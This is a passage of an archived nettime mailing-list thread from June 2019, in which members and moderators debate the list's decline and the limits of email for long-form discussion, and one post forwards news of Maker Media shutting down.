deep\n> community.  That was email, but now it isn't email.  I don't know what  is\n> now.\n> \n> Karim\n> \n> \n> \n> \n> \n> On Fri, 7 Jun 2019 at 21:34, John Preston <wcerfgba@riseup.net> wrote:\n> \n> > Just adding my two cents, as per the call. :)\n> >\n> > I only discovered nettime in the last few months. I'm a computer-child,\n> > I've grown up on the net, and one of the people who now take a more\n> > conservative or critical approach to tech. I came here because I am trying\n> > to develop as an artist, working with the net as a medium and reflecting\n> > critically on the net and its constituent parts. I don't post in to every\n> > thread because a lot of the time I don't have anything worthwhile to add,\n> > but I appreciate reading: most of the contributions on this list are really\n> > insightful.\n> >\n> > The fact that people are posting meta threads like this is a good sign to\n> > me, I appreciate a community that can take a critical view of itself. If\n> > nettime does rap up, let me know where you all go, I'd like to talk more. :)\n> >\n> > John\n> >\n> > On 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote:\n> >>\n> >> Nettime is in bad shape, don't you think?\n> >>\n> >> It has still a lot of goodwill, and more generally there's renewed\n> >> interest in formats of exchange and collective thinking that\n> >> aren't defined by the logic of social media. But the dynamics that\n> >> social media companies exploit are hardly limited to a handful of\n> >> platforms. For example, nettime has its own 'influencers' -- a 1%,\n> >> so to speak -- who generate the vast majority of list traffic.\n> >> That's been true for years. The discussions they sustain may\n> >> variously seem interesting or annoying, but either way they've\n> >> become somewhat formulaic. An attentive reader knows more or less\n> >> what to expect based solely the subject and the sender; and even\n> >> meta-discussions about whether the list is dominated or by this or\n> >> that tendency are largely dominated by the same few people.\n> >>\n> >> Some might argue the debates that have animated nettime over the\n> >> last year -- the trajectories of postwar society, neoliberalism,\n> >> the 'digital,' complexity, surveillance and big tech, Brexit,\n> >> media and elections, Assange, even the Anthropocene in all its\n> >> terrifying inclusiveness -- are the defining issues of the day.\n> >> Maybe so. But if the nettime project had settled for a consensus\n> >> model of the defining issues of the mid-'90s, it would never have\n> >> gotten off the ground, and it certainly wouldn't exist almost 25\n> >> years later. The challenge, we think, is to maintain a space that\n> >> attracts ill-defined ideas and uncertain issues -- things and\n> >> not-things that don't quite exist yet and yet haven't been buried\n> >> under torrents of authority and theory.\n> >>\n> >> So, what can we do?\n> >>\n> >> In the past, we've asked people to think about outreach -- say,\n> >> inviting new people from new contexts. It seems like that's had\n> >> limited success; but at a time when nettime has been limping\n> >> along, it's hard to get excited about inviting people to join an\n> >> environment so heavily defined by habit. We've also joked that\n> >> shutting it down before it fades into complete senescence might be\n> >> best. But that joke wasn't really funny, in part because it wasn't\n> >> meant to be: it was a way of expressing serious concerns about the\n> >> list's increasingly parochial status.\n> >>\n> >> Now, we have a simple proposal: let's switch roles.\n> >>\n> >> It goes like this:\n> >>\n> >> If you've posted more than others to the list in the last 60 or 90\n> >> or 120 or 180 days -- the math matters less than the spirit -- take\n> >> a break. Let others define nettime, a space made up of nearly 5000\n> >> subscribers.\n> >>\n> >> If you haven't posted to the list -- say, because it seemed like\n> >> your ideas, concerns, or whatever you want to share wouldn't fit\n> >> with nettime's habits -- maybe that will change.\n> >>\n> >> Think of it as an un-grand experiment: a way to see what else\n> >> might happen, who else might speak, what less familiar ideas,\n> >> perspectives, or styles might spring up. Maybe the list will fade\n> >> into silence, and we'll be left with a paradoxical object, a list\n> >> composed *entirely* of lurkers -- not such a bad non-end for\n> >> nettime. Or maybe not. There might be many ways to find out. For\n> >> now, rather than the 1% debating how narrowly to define good\n> >> manners, let's see if a different 'we' can change things.\n> >>\n> >>\n> >> -- the mod squad (Ted and Felix)\n> >>\n> >> #  distributed via <nettime>: no commercial use without permission\n> >> #  <nettime>  is a moderated mailing list for net criticism,\n> >> #  collaborative text filtering and cultural politics of the nets\n> >> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> >> #  archive: http://www.nettime.org contact: nettime@kein.org\n> >> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> >>\n> >> #  distributed via <nettime>: no commercial use without permission\n> > #  <nettime>  is a moderated mailing list for net criticism,\n> > #  collaborative text filtering and cultural politics of the nets\n> > #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> > #  archive: http://www.nettime.org contact: nettime@kein.org\n> > #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> -------------- next part --------------\n> An HTML attachment was scrubbed...\n> URL: <http://mx.kein.org/pipermail/nettime-l/attachments/20190608/490390ed/attachment-0001.html>\n> \n> ------------------------------\n> \n> Message: 2\n> Date: Sat, 8 Jun 2019 16:21:37 +0200\n> From: Bruce Sterling <bruces@well.com>\n> To: nettime-l@kein.org\n> Subject: <nettime> The Maker Movement is abandoned by its corporate\n>         sponsors; throws in the towel\n> Message-ID: <A342CE24-4F26-441E-BDBE-38F833458B29@well.com>\n> Content-Type: text/plain;       charset=utf-8\n> \n> *Well, so much for the O?Reilly Web 2.0 version of popular mechanics.  Fifteen years is not too bad a run by the standards of an increasingly jittery California Ideology.  Now what? ? Bruce S\n> \n> \n> Maker Media goes broke \n> https://hackaday.com/2019/06/07/maker-media-ceases-operations/\n> \n> Over the years we?ve had the dubious honor of bidding farewell to numerous companies that held a special place in the hearts of hackers and makers. We?ve borne witness to the demise of Radio Shack, TechShop, and PrintrBot, and even shed a tear or two when Toys ?R? Us shut their doors. But as much as it hurt to see those companies go, nothing quite compares to this. Today we?ve learned that Maker Media has ceased operations.\n> \n> Between the first issue of Make magazine in 2005 and the inaugural Maker Faire a year later, Maker Media deftly cultured the public face of the ?maker movement? for over a decade. They didn?t create maker culture, but there?s no question that they put a spotlight on this part of the larger tech world. In fact, it?s not an exaggeration to say that the shuttering of Maker Media could have far reaching consequences that we won?t fully understand for years.\n> \n> While this news will surely come as a crushing blow to many in the community, Maker Media founder and CEO Dale Dougherty says they?re still trying to put the pieces together. ?I started the magazine and I?m committed to keeping that going because it means something to a lot of people and means something to me.? At this point, Dale tells us that Maker Media is officially in a state of insolvency. This is an important distinction, and means that the company still has a chance to right the ship before being forced to declare outright bankruptcy.\n> \n> In layman?s terms, the fate of Make magazine and Maker Faire is currently uncertain?\n> \n> ***\n> \n> https://techcrunch.com/2019/06/07/make-magazine-maker-media-layoffs/\n> \n> Financial troubles have forced Maker Media, the company behind crafting publication MAKE: magazine as well as the science and art festival Maker Faire, to lay off its entire staff of 22 and pause all operations. TechCrunch was tipped off to Maker Media?s unfortunate situation which was then confirmed by the company?s founder and CEO Dale Dougherty.\n> \n> For 15 years, MAKE: guided adults and children through step-by-step do-it-yourself crafting and science projects, and it was central to the maker movement. Since 2006, Maker Faire?s 200 owned and licensed events per year in over 40 countries let attendees wander amidst giant, inspiring art and engineering installations?.\n> \n> ?Maker Media Inc ceased operations this week and let go of all of its employees ? about 22 employees? Dougherty tells TechCrunch. ?I started this 15 years ago and it?s always been a struggle as a business to make this work. Print publishing is not a great business for anybody, but it works?barely. Events are hard ? there was a drop off in corporate sponsorship.? Microsoft and Autodesk failed to sponsor this year?s flagship Bay Area Maker Faire?.\n> \n> \n> \n> ------------------------------\n> \n> Message: 3\n> Date: Sat, 08 Jun 2019 07:45:08 -0700\n> From: John Preston <wcerfgba@riseup.net>\n> To: nettime-l@mail.kein.org\n> Subject: Re: <nettime> Nettime is in bad shape. Let's see if we can\n>         change  it.\n> Message-ID: <f8f8006bb46447a36e1e1a7d5171fbda@riseup.net>\n> Content-Type: text/plain; charset=US-ASCII\n> \n> Each medium of communication has a different quality and bandwidth about\n> it, and we can use a multitude of media -- nettime doesn't have to be\n> /just/ a mailing list. Some of us might be better able to contribute via\n> IRC or other more real-time media.\n> \n> John\n> \n> On 2019-06-08 15:06, John Preston wrote:\n> \n> > Just forwarding this up.\n> > \n> > -------------------------\n> > FROM: Karim Brohi <karim@trauma.org>\n> > SENT: 8 June 2019 14:35:45 BST\n> > TO: John Preston <wcerfgba@riseup.net>\n> > SUBJECT: Re: <nettime> Nettime is in bad shape. Let's see if we can change it. \n> > \n> > Nettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now. \n> > I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.  Back then email was cool.  Now, for most, email tends to be a flood of work stuff and a pseudo todo list.  Drafting an email is now work, and not associated with pleasure or pure intellectual pursuit. \n> > \n> > But there's no other suitable medium either.  Social media platforms are too brief to develop ideas.  Too easy to fire back \"your idea is stupid\".  Blog posts and newsletters are too one-sided.  Developed/owned by a specific individual/group of individuals, Comments never have the same precedence as the original post.  The post 'belongs' to the originator, not to the community. \n> > \n> > Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.  (Email alerts end up in... email). \n> > \n> > In brief - I think it's the medium not the message.  The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.  That was email, but now it isn't email.  I don't know what  is now. \n> > \n> > Karim \n> > \n> > On Fri, 7 Jun 2019 at 21:34, John Preston <wcerfgba@riseup.net> wrote: \n> > Just adding my two cents, as per the call. :)\n> > \n> > I only discovered nettime in the last few months. I'm a computer-child, I've grown up on the net, and one of the people who now take a more conservative or critical approach to tech. I came here because I am trying to develop as an artist, working with the net as a medium and reflecting critically on the net and its constituent parts. I don't post in to every thread because a lot of the time I don't have anything worthwhile to add, but I appreciate reading: most of the contributions on this list are really insightful.\n> > \n> > The fact that people are posting meta threads like this is a good sign to me, I appreciate a community that can take a critical view of itself. If nettime does rap up, let me know where you all go, I'd like to talk more. :)\n> > \n> > John\n> > \n> > On 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote: \n> > \n> > Nettime is in bad shape, don't you think?\n> > \n> > It has still a lot of goodwill, and more generally there's renewed\n> > interest in formats of exchange and collective thinking that\n> > aren't defined by the logic of social media. But the dynamics that\n> > social media companies exploit are hardly limited to a handful of\n> > platforms. For example, nettime has its own 'influencers' -- a 1%,\n> > so to speak -- who generate the vast majority of list traffic.\n> > That's been true for years. The discussions they sustain may\n> > variously seem interesting or annoying, but either way they've\n> > become somewhat formulaic. An attentive reader knows more or less\n> > what to expect based solely the subject and the sender; and even\n> > meta-discussions about whether the list is dominated or by this or\n> > that tendency are largely dominated by the same few people.\n> > \n> > Some might argue the debates that have animated nettime over the\n> > last year -- the trajectories of postwar society, neoliberalism,\n> > the 'digital,' complexity, surveillance and big tech, Brexit,\n> > media and elections, Assange, even the Anthropocene in all its\n> > terrifying inclusiveness -- are the defining issues of the day.\n> > Maybe so. But if the nettime project had settled for a consensus\n> > model of the defining issues of the mid-'90s, it would never have\n> > gotten off the ground, and it certainly wouldn't exist almost 25\n> > years later. The challenge, we think, is to maintain a space that\n> > attracts ill-defined ideas and uncertain issues -- things and\n> > not-things that don't quite exist yet and yet haven't been buried\n> > under torrents of authority and theory.\n> > \n> > So, what can we do?\n> > \n> > In the past, we've asked people to think about outreach -- say,\n> > inviting new people from new contexts. It seems like that's had\n> > limited success; but at a time when nettime has been limping\n> > along, it's hard to get excited about inviting people to join an\n> > environment so heavily defined by habit. We've also joked that\n> > shutting it down before it fades into complete senescence might be\n> > best. But that joke wasn't really funny, in part because it wasn't\n> > meant to be: it was a way of expressing serious concerns about the\n> > list's increasingly parochial status.\n> > \n> > Now, we have a simple proposal: let's switch roles.\n> > \n> > It goes like this:\n> > \n> > If you've posted more than others to the list in the last 60 or 90\n> > or 120 or 180 days -- the math matters less than the spirit -- take\n> > a break. Let others define nettime, a space made up of nearly 5000\n> > subscribers.\n> > \n> > If you haven't posted to the list -- say, because it seemed like\n> > your ideas, concerns, or whatever you want to share wouldn't fit\n> > with nettime's habits -- maybe that will change.\n> > \n> > Think of it as an un-grand experiment: a way to see what else\n> > might happen, who else might speak, what less familiar ideas,\n> > perspectives, or styles might spring up. Maybe the list will fade\n> > into silence, and we'll be left with a paradoxical object, a list\n> > composed *entirely* of lurkers -- not such a bad non-end for\n> > nettime. Or maybe not. There might be many ways to find out. For\n> > now, rather than the 1% debating how narrowly to define good\n> > manners, let's see if a different 'we' can change things.\n> > \n> > -- the mod squad (Ted and Felix)\n> > \n> > #  distributed via <nettime>: no commercial use without permission\n> > #  <nettime>  is a moderated mailing list for net criticism,\n> > #  collaborative text filtering and cultural politics of the nets\n> > #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> > #  archive: http://www.nettime.org contact: nettime@kein.org\n> > #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> > #  distributed via <nettime>: no commercial use without permission\n> > #  <nettime>  is a moderated mailing list for net criticism,\n> > #  collaborative text filtering and cultural politics of the nets\n> > #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> > #  archive: http://www.nettime.org contact: nettime@kein.org\n> > #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> \n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> \n> \n> ------------------------------\n> \n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> \n> End of nettime-l Digest, Vol 141, Issue 11\n> ******************************************\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00052",
                                "date": "Wed, 12 Jun 2019 15:15:41 -0700",
                                "to": "nettime-l@mail.kein.org",
                                "message-id": "6D0EE2EE&#45;3A95&#45;430A&#45;8FB0&#45;4F6A1F78CB32@me.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00052.html",
                                "content-type": "text/plai",
                                "author_name": "Jordan Crandall",
                                "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                            }
                        ],
                        "from": "Sean Cubitt <s.cubitt@gold.ac.uk>",
                        "content": "\n\n\n\nI've been active long ago, and lurking for a decade or more, with only sporadic comments and adds: this look like a good prod to get us silent majority out of the closet.\n\n\nthe thing that keeps nettime valuable is a) the contributors,\n\ntimeliness, and\n\nswift smart dialogues and b) that there still seems to be a common purpose.\n\n\n\n\nsocial media start taking the forefront about ten years ago. The neo-populist right begins to replace the neo-liberal right about ten years ago. Is there some shared diagram?\n\n\n\n\nOther lists died for their own reasons: one because it seemed like everything interesting was on blogs, back when the blogosphere was a thing. Another because a concept / art movement / political trajectory could be exhausted\n so fast it scarcely seemed worth inventing new concepts etc.\n\n\n\n\nMailing lists are asynchronous, which is great: more time to think; less kudos for fast reaction times. More consideration in every sense of the word\n\n\nin a few days I'll try to post something closer than this reflection on the medium to what I think this list is for: the aesthetics,\n\npolitics and\n\naesthetic\n\npolitics\n of the early C21st --\n\nconsideration, wonder and hope\n\n\n\n\nSean\n\n\n\n\n\n\n\n\nFrom: nettime-l-bounces@mail.kein.org <nettime-l-bounces@mail.kein.org> on behalf of nettime-l-request@mail.kein.org <nettime-l-request@mail.kein.org>\nSent: 08 June 2019 15:45\nTo: nettime-l@mail.kein.org\nSubject: nettime-l Digest, Vol 141, Issue 11\n\n\n\n\n\nSend nettime-l mailing list submissions to\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n nettime-l@mail.kein.org\n\nTo subscribe or unsubscribe via the World Wide Web, visit\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \nhttp://mx.kein.org/mailman/listinfo/nettime-l\n\n\n\n\n\n\n\nnettime-l Info Page - mx.kein.org\n\nmx.kein.org\n\n-- a moderated mailing list for net criticism <nettime> is not just a mailing list but an effort to formulate an international, networked discourse that neither promotes a dominant euphoria (to sell products) nor continues the cynical pessimism, spread by journalists\n and intellectuals in the 'old' media who generalize about 'new' media with no clear understanding of their communication aspects ...\n\n\n\n\n\n\n\nor, via email, send a message with subject or body 'help' to\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n nettime-l-request@mail.kein.org\n\nYou can reach the person managing the list at\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n nettime-l-owner@mail.kein.org\n\nWhen replying, please edit your Subject line so it is more specific\nthan \"Re: Contents of nettime-l digest...\"\n\n\nToday's Topics:\n\n\n\n\n\n 1. Re: Nettime is in bad shape. Let's see if we can change\n\n\n\n it.\n\n\n\n\n\n\n\n\n\n\n (John Preston)\n\n\n\n\n 2. The Maker Movement is abandoned by its corporate sponsors;\n\n\n\n\n\n\n\n\n\n\n throws in the towel (Bruce Sterling)\n\n\n\n\n 3. Re: Nettime is in bad shape. Let's see if we can change\n\n\n\n it.\n\n\n\n\n\n\n\n\n\n\n (John Preston)\n\n\n----------------------------------------------------------------------\n\nMessage: 1\nDate: Sat, 08 Jun 2019 15:06:56 +0100\nFrom: John Preston <wcerfgba@riseup.net>\nTo: nettime-l@mail.kein.org\nSubject: Re: <nettime> Nettime is in bad shape. Let's see if we can\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n change\n\n it.\nMessage-ID: <07A59428-BF8F-419B-841A-EA06BDDB2B98@riseup.net>\nContent-Type: text/plain; charset=\"utf-8\"\n\nJust forwarding this up.\n\n\n-------- Original Message --------\nFrom: Karim Brohi <karim@trauma.org>\nSent: 8 June 2019 14:35:45 BST\nTo: John Preston <wcerfgba@riseup.net>\nSubject: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\n\nNettime is in bad shape - as are most (all?) of the email based discussion\ngroups on the Interwebs now.\nI run another mailing list, started in 1995 in a medical specialty area- -\nwhich finds itself in the same state.\n\n Back then email was cool.\n\n Now, for\nmost, email tends to be a flood of work stuff and a pseudo todo list.\nDrafting an email is now work, and not associated with pleasure or pure\nintellectual pursuit.\n\nBut there's no other suitable medium either.\n\n Social media platforms are\ntoo brief to develop ideas.\n\n Too easy to fire back \"your idea is stupid\".\nBlog posts and newsletters are too one-sided.\n\n Developed/owned by a\nspecific individual/group of individuals, Comments never have the same\nprecedence as the original post.\n\n The post 'belongs' to the originator, not\nto the community.\n\nMaybe usenet/google groups comes close, but nobody uses them - perhaps\nbecause there's no (effective) 'app for that', and there has to be an\nactive process of logging in.\n\n (Email alerts end up in... email).\n\nIn brief - I think it's the medium not the message.\n\n The whole Internet\nneeds a new medium that encourages long-form discourse and thereby deep\ncommunity.\n\n That was email, but now it isn't email.\n\n I don't know what\n\n is\nnow.\n\nKarim\n\n\n\n\n\nOn Fri, 7 Jun 2019 at 21:34, John Preston <wcerfgba@riseup.net> wrote:\n\n> Just adding my two cents, as per the call. :)\n>\n> I only discovered nettime in the last few months. I'm a computer-child,\n> I've grown up on the net, and one of the people who now take a more\n> conservative or critical approach to tech. I came here because I am trying\n> to develop as an artist, working with the net as a medium and reflecting\n> critically on the net and its constituent parts. I don't post in to every\n> thread because a lot of the time I don't have anything worthwhile to add,\n> but I appreciate reading: most of the contributions on this list are really\n> insightful.\n>\n> The fact that people are posting meta threads like this is a good sign to\n> me, I appreciate a community that can take a critical view of itself. If\n> nettime does rap up, let me know where you all go, I'd like to talk more. :)\n>\n> John\n>\n> On 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote:\n>>\n>> Nettime is in bad shape, don't you think?\n>>\n>> It has still a lot of goodwill, and more generally there's renewed\n>> interest in formats of exchange and collective thinking that\n>> aren't defined by the logic of social media. But the dynamics that\n>> social media companies exploit are hardly limited to a handful of\n>> platforms. For example, nettime has its own 'influencers' -- a 1%,\n>> so to speak -- who generate the vast majority of list traffic.\n>> That's been true for years. The discussions they sustain may\n>> variously seem interesting or annoying, but either way they've\n>> become somewhat formulaic. An attentive reader knows more or less\n>> what to expect based solely the subject and the sender; and even\n>> meta-discussions about whether the list is dominated or by this or\n>> that tendency are largely dominated by the same few people.\n>>\n>> Some might argue the debates that have animated nettime over the\n>> last year -- the trajectories of postwar society, neoliberalism,\n>> the 'digital,' complexity, surveillance and big tech, Brexit,\n>> media and elections, Assange, even the Anthropocene in all its\n>> terrifying inclusiveness -- are the defining issues of the day.\n>> Maybe so. But if the nettime project had settled for a consensus\n>> model of the defining issues of the mid-'90s, it would never have\n>> gotten off the ground, and it certainly wouldn't exist almost 25\n>> years later. The challenge, we think, is to maintain a space that\n>> attracts ill-defined ideas and uncertain issues -- things and\n>> not-things that don't quite exist yet and yet haven't been buried\n>> under torrents of authority and theory.\n>>\n>> So, what can we do?\n>>\n>> In the past, we've asked people to think about outreach -- say,\n>> inviting new people from new contexts. It seems like that's had\n>> limited success; but at a time when nettime has been limping\n>> along, it's hard to get excited about inviting people to join an\n>> environment so heavily defined by habit. We've also joked that\n>> shutting it down before it fades into complete senescence might be\n>> best. But that joke wasn't really funny, in part because it wasn't\n>> meant to be: it was a way of expressing serious concerns about the\n>> list's increasingly parochial status.\n>>\n>> Now, we have a simple proposal: let's switch roles.\n>>\n>> It goes like this:\n>>\n>> If you've posted more than others to the list in the last 60 or 90\n>> or 120 or 180 days -- the math matters less than the spirit -- take\n>> a break. Let others define nettime, a space made up of nearly 5000\n>> subscribers.\n>>\n>> If you haven't posted to the list -- say, because it seemed like\n>> your ideas, concerns, or whatever you want to share wouldn't fit\n>> with nettime's habits -- maybe that will change.\n>>\n>> Think of it as an un-grand experiment: a way to see what else\n>> might happen, who else might speak, what less familiar ideas,\n>> perspectives, or styles might spring up. Maybe the list will fade\n>> into silence, and we'll be left with a paradoxical object, a list\n>> composed *entirely* of lurkers -- not such a bad non-end for\n>> nettime. Or maybe not. There might be many ways to find out. For\n>> now, rather than the 1% debating how narrowly to define good\n>> manners, let's see if a different 'we' can change things.\n>>\n>>\n>> -- the mod squad (Ted and Felix)\n>>\n>> #\n\n distributed via <nettime>: no commercial use without permission\n>> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n>> #\n\n collaborative text filtering and cultural politics of the nets\n>> #\n\n more info: \nhttp://mx.kein.org/mailman/listinfo/nettime-l\n>> #\n\n archive: \nhttp://www.nettime.org contact: nettime@kein.org\n>> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n>>\n>> #\n\n distributed via <nettime>: no commercial use without permission\n> #\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n> #\n\n collaborative text filtering and cultural politics of the nets\n> #\n\n more info: \nhttp://mx.kein.org/mailman/listinfo/nettime-l\n> #\n\n archive: \nhttp://www.nettime.org contact: nettime@kein.org\n> #\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n-------------- next part --------------\nAn HTML attachment was scrubbed...\nURL: <http://mx.kein.org/pipermail/nettime-l/attachments/20190608/490390ed/attachment-0001.html>\n\n------------------------------\n\nMessage: 2\nDate: Sat, 8 Jun 2019 16:21:37 +0200\nFrom: Bruce Sterling <bruces@well.com>\nTo: nettime-l@kein.org\nSubject: <nettime> The Maker Movement is abandoned by its corporate\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n sponsors; throws in the towel\nMessage-ID: <A342CE24-4F26-441E-BDBE-38F833458B29@well.com>\nContent-Type: text/plain;\n\n\n\n\n\n\n\n\n\n\n\n charset=utf-8\n\n*Well, so much for the O?Reilly Web 2.0 version of popular mechanics.\n\n Fifteen years is not too bad a run by the standards of an increasingly jittery California Ideology.\n\n Now what? ? Bruce S\n\n\nMaker Media goes broke \nhttps://hackaday.com/2019/06/07/maker-media-ceases-operations/\n\nOver the years we?ve had the dubious honor of bidding farewell to numerous companies that held a special place in the hearts of hackers and makers. We?ve borne witness to the demise of Radio Shack, TechShop, and PrintrBot, and even shed a tear or two when Toys\n ?R? Us shut their doors. But as much as it hurt to see those companies go, nothing quite compares to this. Today we?ve learned that Maker Media has ceased operations.\n\nBetween the first issue of Make magazine in 2005 and the inaugural Maker Faire a year later, Maker Media deftly cultured the public face of the ?maker movement? for over a decade. They didn?t create maker culture, but there?s no question that they put a spotlight\n on this part of the larger tech world. In fact, it?s not an exaggeration to say that the shuttering of Maker Media could have far reaching consequences that we won?t fully understand for years.\n\nWhile this news will surely come as a crushing blow to many in the community, Maker Media founder and CEO Dale Dougherty says they?re still trying to put the pieces together. ?I started the magazine and I?m committed to keeping that going because it means something\n to a lot of people and means something to me.? At this point, Dale tells us that Maker Media is officially in a state of insolvency. This is an important distinction, and means that the company still has a chance to right the ship before being forced to declare\n outright bankruptcy.\n\nIn layman?s terms, the fate of Make magazine and Maker Faire is currently uncertain?\n\n***\n\nhttps://techcrunch.com/2019/06/07/make-magazine-maker-media-layoffs/\n\nFinancial troubles have forced Maker Media, the company behind crafting publication MAKE: magazine as well as the science and art festival Maker Faire, to lay off its entire staff of 22 and pause all operations. TechCrunch was tipped off to Maker Media?s unfortunate\n situation which was then confirmed by the company?s founder and CEO Dale Dougherty.\n\nFor 15 years, MAKE: guided adults and children through step-by-step do-it-yourself crafting and science projects, and it was central to the maker movement. Since 2006, Maker Faire?s 200 owned and licensed events per year in over 40 countries let attendees wander\n amidst giant, inspiring art and engineering installations?.\n\n?Maker Media Inc ceased operations this week and let go of all of its employees ? about 22 employees? Dougherty tells TechCrunch. ?I started this 15 years ago and it?s always been a struggle as a business to make this work. Print publishing is not a great business\n for anybody, but it works?barely. Events are hard ? there was a drop off in corporate sponsorship.? Microsoft and Autodesk failed to sponsor this year?s flagship Bay Area Maker Faire?.\n\n\n\n------------------------------\n\nMessage: 3\nDate: Sat, 08 Jun 2019 07:45:08 -0700\nFrom: John Preston <wcerfgba@riseup.net>\nTo: nettime-l@mail.kein.org\nSubject: Re: <nettime> Nettime is in bad shape. Let's see if we can\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n change\n\n it.\nMessage-ID: <f8f8006bb46447a36e1e1a7d5171fbda@riseup.net>\nContent-Type: text/plain; charset=US-ASCII\n\nEach medium of communication has a different quality and bandwidth about\nit, and we can use a multitude of media -- nettime doesn't have to be\n/just/ a mailing list. Some of us might be better able to contribute via\nIRC or other more real-time media.\n\nJohn\n\nOn 2019-06-08 15:06, John Preston wrote:\n\n> Just forwarding this up.\n> \n> -------------------------\n> FROM: Karim Brohi <karim@trauma.org>\n> SENT: 8 June 2019 14:35:45 BST\n> TO: John Preston <wcerfgba@riseup.net>\n> SUBJECT: Re: <nettime> Nettime is in bad shape. Let's see if we can change it. \n> \n> Nettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now.\n\n> I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.\n\n Back then email was cool.\n\n Now, for most, email tends to be a flood of work stuff and a pseudo todo list.\n\n Drafting an email is now work, and\n not associated with pleasure or pure intellectual pursuit. \n> \n> But there's no other suitable medium either.\n\n Social media platforms are too brief to develop ideas.\n\n Too easy to fire back \"your idea is stupid\".\n\n Blog posts and newsletters are too one-sided.\n\n Developed/owned by a specific individual/group of individuals,\n Comments never have the same precedence as the original post.\n\n The post 'belongs' to the originator, not to the community.\n\n> \n> Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.\n\n (Email alerts end up in... email).\n\n> \n> In brief - I think it's the medium not the message.\n\n The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.\n\n That was email, but now it isn't email.\n\n I don't know what\n\n is now.\n\n> \n> Karim \n> \n> On Fri, 7 Jun 2019 at 21:34, John Preston <wcerfgba@riseup.net> wrote: \n> Just adding my two cents, as per the call. :)\n> \n> I only discovered nettime in the last few months. I'm a computer-child, I've grown up on the net, and one of the people who now take a more conservative or critical approach to tech. I came here because I am trying to develop as an artist, working with the\n net as a medium and reflecting critically on the net and its constituent parts. I don't post in to every thread because a lot of the time I don't have anything worthwhile to add, but I appreciate reading: most of the contributions on this list are really insightful.\n> \n> The fact that people are posting meta threads like this is a good sign to me, I appreciate a community that can take a critical view of itself. If nettime does rap up, let me know where you all go, I'd like to talk more. :)\n> \n> John\n> \n> On 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote: \n> \n> Nettime is in bad shape, don't you think?\n> \n> It has still a lot of goodwill, and more generally there's renewed\n> interest in formats of exchange and collective thinking that\n> aren't defined by the logic of social media. But the dynamics that\n> social media companies exploit are hardly limited to a handful of\n> platforms. For example, nettime has its own 'influencers' -- a 1%,\n> so to speak -- who generate the vast majority of list traffic.\n> That's been true for years. The discussions they sustain may\n> variously seem interesting or annoying, but either way they've\n> become somewhat formulaic. An attentive reader knows more or less\n> what to expect based solely the subject and the sender; and even\n> meta-discussions about whether the list is dominated or by this or\n> that tendency are largely dominated by the same few people.\n> \n> Some might argue the debates that have animated nettime over the\n> last year -- the trajectories of postwar society, neoliberalism,\n> the 'digital,' complexity, surveillance and big tech, Brexit,\n> media and elections, Assange, even the Anthropocene in all its\n> terrifying inclusiveness -- are the defining issues of the day.\n> Maybe so. But if the nettime project had settled for a consensus\n> model of the defining issues of the mid-'90s, it would never have\n> gotten off the ground, and it certainly wouldn't exist almost 25\n> years later. The challenge, we think, is to maintain a space that\n> attracts ill-defined ideas and uncertain issues -- things and\n> not-things that don't quite exist yet and yet haven't been buried\n> under torrents of authority and theory.\n> \n> So, what can we do?\n> \n> In the past, we've asked people to think about outreach -- say,\n> inviting new people from new contexts. It seems like that's had\n> limited success; but at a time when nettime has been limping\n> along, it's hard to get excited about inviting people to join an\n> environment so heavily defined by habit. We've also joked that\n> shutting it down before it fades into complete 